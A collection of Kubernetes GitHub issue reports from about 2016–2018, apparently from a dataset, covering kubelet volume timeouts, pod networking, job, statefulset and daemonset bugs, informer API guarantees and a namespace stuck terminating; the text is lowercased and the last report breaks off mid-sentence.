7541311e-b421-11e7-b3c3-00505693fce2 \ , event: &pleg.podlifecycleevent{id:\ 7541311e-b421-11e7-b3c3-00505693fce2\ , type:\ containerdied\ , data:\ dbc1ad36cdf98814e2d3def69e980c5fe4537906cdee561a871570c671ffbe25\ }\r e1018 16:31:09.130068    1415 kubelet.go:1549  unable to mount volumes for pod \ myservice-1508344140-6pxrd_foo 7541311e-b421-11e7-b3c3-00505693fce2 \ : timeout expired waiting for volumes to attach/mount for pod \ foo\ /\ myservice-1508344140-6pxrd\ . list of unattached/unmounted volumes= etc-ssh user-ssh configmap-mount default-token-grftr ; skipping pod\r e1018 16:31:09.130102    1415 pod_workers.go:182  error syncing pod 7541311e-b421-11e7-b3c3-00505693fce2  \ myservice-1508344140-6pxrd_foo 7541311e-b421-11e7-b3c3-00505693fce2 \  , skipping: timeout expired waiting for volumes to attach/mount for pod \ foo\ /\ myservice-1508344140-6pxrd\ . list of unattached/unmounted volumes= etc-ssh user-ssh configmap-mount default-token-grftr \r i1018 16:31:15.933732    1415 kubelet.go:1824  syncloop  delete, \ api\  : \ myservice-1508344140-6pxrd_foo 7541311e-b421-11e7-b3c3-00505693fce2 \ \r i1018 16:31:16.071468    1415 kubelet.go:1818  syncloop  remove, \ api\  : \ myservice-1508344140-6pxrd_foo 7541311e-b421-11e7-b3c3-00505693fce2 \ \r i1018 16:31:16.071519    1415 kubelet.go:2002  failed to delete pod \ myservice-1508344140-6pxrd_foo 7541311e-b421-11e7-b3c3-00505693fce2 \ , err: pod not found\r w1018 16:31:16.111299    1415 status_manager.go:465  failed to update status for pod \ myservice-1508344140-6pxrd_foo 7541311e-b421-11e7-b3c3-00505693fce2 \ : pods \ myservice-1508344140-6pxrd\  not found\r w1018 16:32:06.286603    1415 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ myservice-1508344140-6pxrd_foo\ : cannot find the network namespace, skipping pod network status for container {\ docker\  \ dbc1ad36cdf98814e2d3def69e980c5fe4537906cdee561a871570c671ffbe25\ }\r    \r \r   cron yaml  \r    \r $ kubectl --kubeconfig=config --namespace=foo get cronjob myservice -o yaml\r apiversion: batch/v2alpha1\r kind: cronjob\r metadata:\r   annotations:\r     kubernetes.io/change-cause: kubectl create --kubeconfig=config --namespace=foo --filename=template_myservice_cronjob.yaml --record=true\r   creationtimestamp: 2017-10-16t22:40:12z\r   labels:\r     name: myservice\r   name: myservice\r   namespace: foo\r   resourceversion: \ 81868741\ \r   selflink: /apis/batch/v2alpha1/namespaces/foo/cronjobs/myservice\r   uid: f8ebe2db-b2c2-11e7-b3c3-00505693fce2\r spec:\r   concurrencypolicy: forbid\r   failedjobshistorylimit: 5\r   jobtemplate:\r     metadata:\r       creationtimestamp: null\r     spec:\r       template:\r         metadata:\r           creationtimestamp: null\r           labels:\r             name: myservice\r         spec:\r           containers:\r           - command:\r             - /path/to/command.py\r             image: docker.prod:5000/foo:abcde\r             imagepullpolicy: ifnotpresent\r             livenessprobe:\r               exec:\r                 command:\r                 - /control-scripts/livenesscheck.sh\r               failurethreshold: 3\r               initialdelayseconds: 30\r               periodseconds: 30\r               successthreshold: 1\r               timeoutseconds: 1\r             name: myservice\r             readinessprobe:\r               exec:\r                 command:\r                 - pgrep\r                 - -f\r                 - python . /command.py\r               failurethreshold: 3\r               periodseconds: 10\r               successthreshold: 1\r               timeoutseconds: 1\r             resources:\r               limits:\r                 cpu: 1500m\r                 memory: 150mi\r               requests:\r                 cpu: 500m\r                 memory: 75mi\r             terminationmessagepath: /dev/termination-log\r             terminationmessagepolicy: file\r             volumemounts:\r             - mountpath: /tmp/ssh\r               name: etc-ssh\r             - mountpath: /tmp/.ssh\r               name: user-ssh\r             - mountpath: /user/configs\r               name: configmap-mount\r           dnspolicy: clusterfirst\r           restartpolicy: onfailure\r           schedulername: default-scheduler\r           securitycontext: {}\r           terminationgraceperiodseconds: 30\r           volumes:\r           - hostpath:\r               path: /etc/ssh\r             name: etc-ssh\r           - hostpath:\r               path: /user/.ssh\r             name: user-ssh\r           - configmap:\r               defaultmode: 420\r               items:\r               - key: test.foo.yaml\r                 path: test/foo.yaml\r               name: bf712db7bd322d8e0002d055dc16baf7\r             name: configmap-mount\r   schedule: '         '\r   successfuljobshistorylimit: 2\r   suspend: false\r status:\r   lastscheduletime: 2017-10-18t16:38:00z\r    \r \r   sample post-run status of a generated pod:  \r \r    \r $ kubectl  --kubeconfig=config --namespace=foo get pods myservice-1508344140-6pxrd -o yaml\r apiversion: v1\r kind: pod\r metadata:\r   creationtimestamp: 2017-10-18t16:29:05z\r   ...\r spec:\r   containers:  ...see cronjob yaml above... \r status:\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: 2017-10-18t16:29:05z\r     reason: podcompleted\r     status: \ true\ \r     type: initialized\r   - lastprobetime: null\r     lasttransitiontime: 2017-10-18t16:29:05z\r     reason: podcompleted\r     status: \ false\ \r     type: ready\r   - lastprobetime: null\r     lasttransitiontime: 2017-10-18t16:29:05z\r     status: \ true\ \r     type: podscheduled\r   containerstatuses:\r   - containerid: docker://1b76ad2ac7a5d00e3dc10fb7520c77420ccb74569aa6c162829a691808d73a44\r     image: docker.prod:5000/foo:abcde\r     imageid: docker-pullable://docker.prod:5000/foo@sha256:fghij\r     laststate: {}\r     name: myservice\r     ready: false\r     restartcount: 0\r     state:\r       terminated:\r         containerid: docker://1b76ad2ac7a5d00e3dc10fb7520c77420ccb74569aa6c162829a691808d73a44\r         exitcode: 0\r         finishedat: 2017-10-18t16:29:08z\r         reason: completed\r         startedat: 2017-10-18t16:29:07z\r   hostip: ...\r   phase: succeeded\r   podip: ...\r   qosclass: burstable\r   starttime: 2017-10-18t16:29:05z\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.8\ , gitcommit:\ d74e09bb4e4e7026f45becbed8310665ddcb8514\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t18:12:08z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.8\ , gitcommit:\ d74e09bb4e4e7026f45becbed8310665ddcb8514\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t18:01:01z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : bare metal\r - os  e.g. from /etc/os-release : ubuntu 16.04.1 lts\r - kernel  e.g.  uname -a  : 4.4.0-89-generic\r - install tools: n/a\r - others: n/a\r

two users  @tamalsaha in https://github.com/kubernetes/features/issues/492 issuecomment-369385531 and @vaikas-google via email  reported being confused that webhooks weren't working, and the problem was that the --admission-control flag was wrong.\r \r possible solutions:\r 1. add status to mutatingwebhookconfiguration and validatingwebhookconfiguration which indicate if the admission controller is enabled and calling them. \r 2. log an apiserver error if mutatingwebhookconfiguration/validationwebhookconfiguration exists and admission controller not running.\r 3. hardcode them on, and require users to disable them by disabling the mutatingwebhookconfiguration/validationwebhookconfiguration apis instead?\r

is this a bug report or feature request?  :\r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r http calls from podx in namespace x to pody in namespace y sometimes ceases working.\r \r   what you expected to happen  :\r http calls between podx in namespace x to pody in namespace y should work as long as both pods are running.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i cannot reproduce it reliably, i started observing it after i set up ingress-nginx in as a router between multiple namespaces in my k8s cluster.\r \r   anything else we need to know?  :\r pods sporadically not reachable across k8s namespaces\r \r the issue is sporadic  a heisenbug . my cluster is a development cluster so i don't need to worry about breaking things but this issue has been plaguing me on and off for a while. first, let me explain my setup:\r \r                           incoming requests\r                                  |\r                                  v\r                           aws elb load balancer\r                                  |\r                                  v\r                           ingress-nginx  k8s namespace: ingress-nginx \r                                  /\\\r                                 /  \\\r                                /    \\\r                               v      v\r                          nginx-pod   nginx-pod\r     customer1  k8s ns: customer1    customer2  k8s ns: customer2  ...\r \r - we are still developing the initial version of our system so we don't have a production env up yet. presumably this problem would also occur there.\r - each customer is contained within a namespace. each customer is running an identical set of pods and there is an nginx front-end inside the namespace of each customer\r - notice the fact that the ingress-nginx is running in its own namespace and each customer is running in its own namespace\r \r the symptoms of my problem is that the ingress-nginx-pod is returning an http 502 error when trying to reach the customer1 nginx instance since it cannot connect to the upstream http server  i.e. nginx-pod . note that customer2  with identical configuration  might work correctly even if customer1 is failing. restarting the customer1 instance might resolve the problem temporarily but it will pop up again, perhaps with another customer.\r \r essentially, this is what is failing:\r \r     ----------------------------                ------------------------\r     | namespace: ingress-nginx |                | namespace: customer1 |\r     |                          | -- failure --> |                      |\r     |    ingress-nginx-pod     |                |      nginx-pod       |\r     ----------------------------                ------------------------\r \r in the case i looked at in detail both of those pods were running on the same node and the same network, thus the communications between the two should be on network layer 2  ie switching layer . \r \r my conclusion was that this was not an issue with ingress-nginx directly. i reached this conclusion by observing the following:\r  - i opened a shell on the nginx-ingress-pod and tried to run a http get request to the nginx-pod, sometimes it worked and sometimes it didn't\r  - issuing a ping request from nginx-ingress-pod to the nginx-pod always worked, but here is an important observation:\r   - i ran tcpdump and the nginx-pod while sending icmp echo requests from the ingress-nginx-pod. the icmp echo requests would successfully get a reply but  tcpdump on the nginx-pod observed no incoming icmp echo requests . it seems like the host node was faking the icmp replies on behalf of the pod. it follows that during the time of this \ icmp echo reploy faking\  the nginx-pod was not reachable but as soon as i could observe incoming icmp echo probes on the nginx-pod the http get calls would work.\r \r i started observing this issue a month ago. since then i have tried:\r  - re-applying ingress-nginx, re-applying customer namespaces\r  - restarting all nodex\r  - tearing down the kubernetes cluster and redeploying it from scratch\r \r the problem existed both before and after performing the above.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:23:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r - kernel  e.g.  uname -a  :\r linux ip-redacted 4.4.111-k8s  1 smp sun jan 14 19:32:08 utc 2018 x86_64 gnu/linux\r - install tools: \r kops version 1.8.1  git-94ef202 \r - others:\r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r for a statefulset using headless service, though the hostname is indexed, it can not ping the other pod through the dns name.\r \r   what you expected to happen  :\r init container can ping each other through hostname.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create one statefulset with one init container\r    \r  apiversion: v1\r kind: service\r metadata:\r   name: nginx\r   labels:\r     app: nginx\r spec:\r   ports:\r   - port: 80\r     name: web\r   clusterip: none\r   selector:\r     app: nginx\r ---\r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: web\r spec:\r   selector:\r     matchlabels:\r       app: nginx   has to match .spec.template.metadata.labels\r   podmanagementpolicy: parallel \r   servicename: \ nginx\ \r   replicas: 2   by default is 1\r   template:\r     metadata:\r       labels:\r         app: nginx   has to match .spec.selector.matchlabels\r     spec:\r       restartpolicy: always\r       initcontainers:\r       - name: init-myservice\r         image: busybox\r         command:  'sh', '-c', 'sleep 1000' \r       containers:\r       - name: nginx\r         image: busybox\r         command:  \ sh\ , \ -c\ , \ sleep 1000\  \r         ports:\r         - containerport: 80\r    \r \r 2. try to ping the other pod\r    \r $ kubectl get pods\r name      ready     status     restarts   age\r web-0     0/1       init:0/1   0          55s\r web-1     0/1       init:0/1   0          55s\r \r  centos:/home/centos/batchd at 23:59:14 on 15/04/2018 \r $ kubectl exec -it web-0 -c init-myservice sh\r /   ping web-1.nginx\r ping: bad address 'web-1.nginx'\r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

  \r   what happened  :\r \r job run twice randomly with another pod after first pod was exited. the job's  restartpolicy  is  never ,  parallelism  and  completions   is 1.\r \r   what you expected to happen  :\r \r only one pod was scheduled for a job.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r this happens randomly on our two k8s cluster, have no idea how to reproduce it.\r \r   anything else we need to know?  :\r \r i found this on  job document  https://kubernetes.io/docs/concepts/workloads/controllers/jobs-run-to-completion/ handling-pod-and-container-failures :\r \r > note that even if you specify .spec.parallelism = 1 and .spec.completions = 1 and .spec.template.spec.restartpolicy = \ never\ , the same program may sometimes be started twice.\r \r did i got the issue the document described? and if it is, is this a bug, or a by design?\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.1\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : debian gnu/linux 8  jessie \r - kernel  e.g.  uname -a  : 4.4.0\r - install tools:\r - others:\r

i want to ask some questions about podsecuritypolicy  authorization.\r podsecuritypolicy authorization uses the union of all policies available to the user creating the pod and the service account specified on the pod. when superuser was used, requests would bypass authentication and authorization modules, all podsecuritypolicy objects would be allowed, and users would be able to create privileged containers. is it possible to  take the intersection of user rights and serviceaccount rights for podsecuritypolicy authorization. i also not understand why authorized user was adding to podsecuritypolicy authorization?\r \r  @kubernetes/sig-auth-feature-requests\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : kubectl create apply -f test.yaml.\r the replicaset \ replicaset-example\  is invalid: spec.template.spec.activedeadlineseconds: invalid value: 10: must not be specified\r \r test.yaml is as below:\r \r    \r apiversion: extensions/v1beta1\r kind: replicaset\r metadata:\r   name: replicaset-example\r spec:\r   replicas: 3\r   template:\r     metadata:\r       labels:\r         test: aa\r     spec:\r       containers:\r       - image: nginx\r         imagepullpolicy: ifnotpresent\r         name: mpi-worker-aa\r         ports:\r         - containerport: 2022\r           protocol: tcp\r         readinessprobe:\r           failurethreshold: 3\r           initialdelayseconds: 5\r           periodseconds: 30\r           successthreshold: 1\r           tcpsocket:\r             port: 30000\r           timeoutseconds: 1\r       restartpolicy: always\r       activedeadlineseconds: 10\r       terminationgraceperiodseconds: 10\r \r    \r   what you expected to happen  :\r successfully create a rs and 3 pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r set up a k8s cluster and use my test.yaml to set up a rs\r \r   anything else we need to know?  :\r error info: the replicaset \ replicaset-example\  is invalid: spec.template.spec.activedeadlineseconds: invalid value: 10: must not be specified\r   environment  : \r - kubernetes version  use  kubectl version  : 1.11.1\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos 7.1\r - kernel  e.g.  uname -a  :  3.10.0-862.6.3.el7.x86_64\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

a few points of improvement of the redis example on https://github.com/kubernetes/kubernetes/tree/master/examples/redis: - configuration files should include only fields that deviate from the  default  http://download.redis.io/redis-stable/redis.conf  in order to clarify. for example for  redis-master.conf  it could probably be  excluding comments  using  config get  http://redis.io/commands/config-get  to check, or just use a single  redis.conf  like:            save 900 1   save 300 10   save 60 10000   dir /redis-master-data   slaveof ${master-ip} ${master-port}    only for slave, not when bootstrapping.       - describe how to use in clients  should be to use the  redis-sentinel  host name but should be documented  - describe how to upgrade to newer versions of redis, preferably using the  deployment  job. - could simplify   run.sh   https://github.com/kubernetes/kubernetes/blob/master/examples/redis/image/run.sh :   - use  cat some.config.template | envsubst > some.config  for both cases:  launchsentinel    and  launchslave      - use kubernetes  args:  \ redis-server\ , \ /redis-master/redis.conf\    to start the master.   - use kubernetes  args  to ask the  redis-master  pod to start with master ip set to  $ hostname -i  .   - possibly even remove completely  run.sh  - remove to describe  redis-proxy.yaml   extra question: instead of  while true , why not just let kubernetes handle that? it seems useful to see pods restarting vs seeing them running. of course one should include some probes  could be in the example as well , so that it'd get restarted anyway.

@lavalamp observed a loadbalancer resource leak of addresses, firewall and forwarding rules large enough to cause a sq block. a couple of follow-up actions:     1. the test can trap all exceptions and manually invoke  gcloud delete target-pools  etc in aftereach 2. can we can setup a quota alert? 3. there's a script that's supposed to delete stranded loadbalancer resources as part of kube-down, maybe it's not deleting all?  4. maybe the script that catches https://pantheon.corp.google.com/m/cloudstorage/b/kubernetes-jenkins/o/logs/kubernetes-e2e-gce-ingress/7981/artifacts/gcp-resources-after.txt isn't detecting all leaks?  setting to p2 for now because we believe it's a slow leak.

as one shared informer will be depended on by many controllers, it becomes more and more important to make informer reliable and easy to reason about. therefore, we create this issue to collect all assumptions and try to provide clear guarantees and easy reasoning of informer apis.  as first step, here are a list of api guarantees that we need to clarify: - delivery of events from informer handler.   -   is event ordering sequential?   in  sharedinformer.addeventhandler    https://github.com/kubernetes/kubernetes/blob/308201acb0e1515dab33b015c05ca31e40662aa0/pkg/controller/framework/shared_informer.go l38  it says “events to a single handler are delivered sequentially”. currently deltafifo is a keymap queue with undocumented  optional overriding . afaik, no compression  overriding  is done on deltafifo in informer and there will be as many events in keymap queue as normal fifo queue. what's the guaranteed of the queue? what’s the guarantee of event delivery to informer handler?   -   are operations and event delivery atomic?   could interleaving events of different operations happen? for example, a delete event in between relist/resync events. for stronger guarantee we shouldn't let this happen. do we have atomicity in event delivery and processing?   -   snapshot isolation on store   when calling store.list   or doing resync, do we have snapshot isolation guarantee on store? that say, reads on all keys give a consistent snapshot of the data store.   -   what’s delivery semantics?   exactly once? at least once? at most once? - in shared informer, each handler has its queuing of events. but the queuing shouldn’t be infinite. we should kill it before one oom and takes down other informer users. @deads2k   - when should we kill/disconnect a handler? how many items should we say the queue is too long?   - if a handler gets disconnected, what event should he get?   - if a user is killed and tries to rejoin, what states should he get? - is informer readonly to user?   - requeue   is known to be problematic   27790  and even make changes to informer from user. why do we need requeue  ? is informer guaranteed to be readonly?  of course, there will be more questions coming through as we are making progress in different areas. we could coordinate api guarantees here and make informer as clarified as possible.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/10679/  failed:  k8s.io  services should be able to create a functioning nodeport service {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:403 jul  6 19:51:55.035: expected node port 31810 to be in use, stdout: . err: error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.155.147.88 --kubeconfig=/workspace/.kube/config exec --namespace=e2e-tests-services-57c5g hostexec -- /bin/sh -c for i in $ seq 1 300 ; do if ss -ant46 'sport = :31810' | grep ^listen; then exit 0; fi; sleep 1; done; exit 1      <nil>  error: google: could not find default credentials. see https://developers.google.com/accounts/docs/application-default-credentials for more information.     <nil> 0xc8209224e0 exit status 1 <nil> true  0xc8201642d8 0xc820164398 0xc820164470   0xc8201642d8 0xc820164398 0xc820164470   0xc820164368 0xc820164448   0xa9c260 0xa9c260  0xc8215b3680}: command stdout:  stderr: error: google: could not find default credentials. see https://developers.google.com/accounts/docs/application-default-credentials for more information.  error: exit status 1       previous issues for this test:  28064

when a node reach outofdisk state, running pods from all daemonsets are deleted from node, this is a big problem when we have critial pods running in daemonsets, like network agents, ingress controllers or log collectors.  state of daemonset before outofdisk in node:      $ kubectl describe no v1107udesa.int.cmd.com.ar | grep outofdisk   outofdisk             false   thu, 20 oct 2016 16:23:42 -0300         thu, 20 oct 2016 13:43:53 -0300         kubelethassufficientdisk        kubelet has sufficient disk space available $ kubectl describe ds fluentd --namespace=kube-system name:           fluentd image s :       gcr.io/google_containers/fluentd-elasticsearch:1.19 selector:       name=fluentd node-selector:  <none> labels:         kubernetes.io/cluster-service=true desired number of nodes scheduled: 3 current number of nodes scheduled: 3 number of nodes misscheduled: 0 pods status:    3 running / 0 waiting / 0 succeeded / 0 failed      after outofdisk:      $ kubectl describe no v1107udesa.int.cmd.com.ar | grep outofdisk   outofdisk             true    thu, 20 oct 2016 16:26:03 -0300         thu, 20 oct 2016 16:24:53 -0300         kubeletoutofdisk                out of disk space   1d            2m              145     {kubelet v1107udesa.int.cmd.com.ar}                     normal          nodeoutofdisk           node v1107udesa.int.cmd.com.ar status is now: nodeoutofdisk $ kubectl describe ds fluentd --namespace=kube-system name:           fluentd image s :       gcr.io/google_containers/fluentd-elasticsearch:1.19 selector:       name=fluentd node-selector:  <none> labels:         kubernetes.io/cluster-service=true desired number of nodes scheduled: 2 current number of nodes scheduled: 2 number of nodes misscheduled: 0 pods status:    2 running / 0 waiting / 0 succeeded / 0 failed events:   firstseen     lastseen        count   from            subobjectpath   type            reason                  message   ---------     --------        -----   ----            -------------   --------        ------                  -------   1m            1m              1       {daemon-set }                   normal          successfuldelete        deleted pod: fluentd-u4vxx        kubernetes version  :      $ kubectl version client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:16:57z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:10:32z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -   cloud provider or hardware configuration  : bare metal -   os  :      name=\ centos linux\  version=\ 7  core \  id=\ centos\  id_like=\ rhel fedora\  version_id=\ 7\  pretty_name=\ centos linux 7  core \  ansi_color=\ 0;31\  cpe_name=\ cpe:/o:centos:centos:7\  home_url=\ https://www.centos.org/\  bug_report_url=\ https://bugs.centos.org/\   centos_mantisbt_project=\ centos-7\  centos_mantisbt_project_version=\ 7\  redhat_support_product=\ centos\  redhat_support_product_version=\ 7\      -   kernel    e.g.  uname -a  :   linux v1108udesa.int.cmd.com.ar 3.10.0-327.28.3.el7.x86_64  1 smp thu aug 18 19:05:49 utc 2016 x86_64 x86_64 x86_64 gnu/linux -   install tools  : custom -   others  :    what happened  : when node reach out of disk daemonset pods are deleted from node.    what you expected to happen  : existing pods stay in node, but no new pods will be sheduled.    how to reproduce it    as minimally and precisely as possible : fill disk in node, reach out of disk condition and daemonsets pods automatically will be deleted from node.      anything else do we need to know  :

is this a bug report or feature request?    choose one : bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r   ./cluster/kubectl.sh version\r client version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-alpha.1.1335+1cc8368af7cd2e-dirty\ , gitcommit:\ 1cc8368af7cd2e1ecf29a6d29595c68ca1e7a66a\ , gittreestate:\ dirty\ , builddate:\ 2016-11-01t21:18:16z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-alpha.1.1335+1cc8368af7cd2e-dirty\ , gitcommit:\ 1cc8368af7cd2e1ecf29a6d29595c68ca1e7a66a\ , gittreestate:\ dirty\ , builddate:\ 2016-11-01t21:18:16z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release : fedora 24\r -   kernel    e.g.  uname -a  :\r    \r   uname -a\r linux fedora24 4.7.9-200.fc24.x86_64  1 smp thu oct 20 14:26:16 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r    \r -   install tools  :  ./hack/local-cluster-up.sh \r -   others  :\r \r \r   what happened  :\r namespace and pods stuck in terminating state\r \r   what you expected to happen  :\r namespace and pods not stuck in terminating state\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. created a namespace clusterproject0  and created around 200 pause pods\r 2. some pods were not started successfully due to following error: \r \r    \r rror syncing pod, skipping: failed to \ startcontainer\  for \ pod\  with runcontainererror: \ runcontainer: error response from daemon: {\\\ message\\\ :\\\ open /var/lib/docker/containers/4dfc0842c78d6c2543d5428342a95b1b3efba09c44d85b08876b8e114eb8aa58/.tmp-hostconfig.json564561370: too many open files\\\ }\ \r    \r 3. deleted the namespace clusterproject0\r \r   anything else do we need to know  :\r the following information is taken at different times:\r \r    \r   docker info\r containers: 26\r  running: 4\r  paused: 0\r  stopped: 22\r images: 1\r server version: 1.12.1\r storage driver: devicemapper\r  pool name: fedora-docker--pool\r  pool blocksize: 524.3 kb\r  base device size: 10.74 gb\r  backing filesystem: xfs\r  data file: \r  metadata file: \r  data space used: 5.722 gb\r  data space total: 16.67 gb\r  data space available: 10.95 gb\r  metadata space used: 2.101 mb\r  metadata space total: 46.14 mb\r  metadata space available: 44.04 mb\r  thin pool minimum free space: 1.667 gb\r  udev sync supported: true\r  deferred removal enabled: true\r  deferred deletion enabled: true\r  deferred deleted device count: 1\r  library version: 1.02.122  2016-04-09 \r logging driver: journald\r cgroup driver: systemd\r plugins:\r  volume: local\r  network: overlay host bridge null\r swarm: inactive\r runtimes: oci runc\r default runtime: oci\r security options: seccomp selinux\r kernel version: 4.7.9-200.fc24.x86_64\r operating system: fedora 24  workstation edition \r ostype: linux\r architecture: x86_64\r number of docker hooks: 2\r cpus: 4\r total memory: 3.859 gib\r name: fedora24\r id: cjfk:cvti:y7yt:wuur:ahfl:pwzi:hdsn:m56c:wm3c:k64o:6r4a:y5sl\r docker root dir: /var/lib/docker\r debug mode  client : false\r debug mode  server : false\r \r   kubectl get ns\r name              status        age\r clusterproject0   terminating   20h\r default           active        20h\r kube-system       active        20h\r \r   kubectl get pods  --namespace clusterproject0\r name           ready     status        restarts   age\r pausepods210   0/1       terminating   0          20h\r pausepods211   0/1       terminating   0          20h\r pausepods224   0/1       terminating   0          20h\r pausepods234   0/1       terminating   0          20h\r \r   kubectl describe pods pausepods226 --namespace clusterproject0\r name:\t\tpausepods226\r namespace:\tclusterproject0\r node:\t\t127.0.0.1/127.0.0.1\r start time:\twed, 26 oct 2016 16:00:07 -0400\r labels:\t\tname=pause-amd64\r status:\t\tpending\r ip:\t\t\r controllers:\t<none>\r containers:\r   pause-amd64:\r     container id:\t\r     image:\t\tgcr.io/google_containers/pause-amd64:3.0\r     image id:\t\t\r     port:\t\t8080/tcp\r     state:\t\twaiting\r       reason:\t\tcontainercreating\r     ready:\t\tfalse\r     restart count:\t0\r     volume mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-f4ozb  ro \r     environment variables:\t<none>\r conditions:\r   type\t\tstatus\r   initialized \ttrue \r   ready \tfalse \r   podscheduled \ttrue \r volumes:\r   default-token-f4ozb:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-f4ozb\r qos class:\tbesteffort\r tolerations:\t<none>\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t-------\r   9m\t\t9m\t\t1\t{default-scheduler }\t\t\tnormal\t\tscheduled\tsuccessfully assigned pausepods226 to 127.0.0.1\r   7m\t\t7m\t\t1\t{kubelet 127.0.0.1}\t\t\twarning\t\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ pod\  with runcontainererror: \ runcontainer: error response from daemon: {\\\ message\\\ :\\\ open /dev/mapper/docker-253:0-1050167-7684f5d9dd5228ba3b17edf448dde3b3f1d6ef10888db628815946ede0fb7ce8-init: too many open files\\\ }\ \r \r   8m\t6m\t2\t{kubelet 127.0.0.1}\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ pod\  with runcontainererror: \ runcontainer: error response from daemon: {\\\ message\\\ :\\\ open /var/lib/docker/image/devicemapper/imagedb/content/sha256/99e59f495ffaa222bfeb67580213e8c28c1e885f1d245ab2bbe3b1b1ec3bd0b2: too many open files\\\ }\ \r \r   6m\t6m\t1\t{kubelet 127.0.0.1}\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ pod\  with runcontainererror: \ runcontainer: error response from daemon: {\\\ message\\\ :\\\ open /var/lib/docker/containers/4dfc0842c78d6c2543d5428342a95b1b3efba09c44d85b08876b8e114eb8aa58/.tmp-hostconfig.json564561370: too many open files\\\ }\ \r \r   5m\t5m\t1\t{kubelet 127.0.0.1}\t\twarning\tfailedsync\terror syncing pod, skipping: failed to \ startcontainer\  for \ pod\  with errimagepull: \ image pull failed for gcr.io/google_containers/pause-amd64:3.0, this may be because there are no credentials on this request.  details:  error pulling image  3.0  from gcr.io/google_containers/pause-amd64, failed to register layer: devmapper: error activating devmapper device for 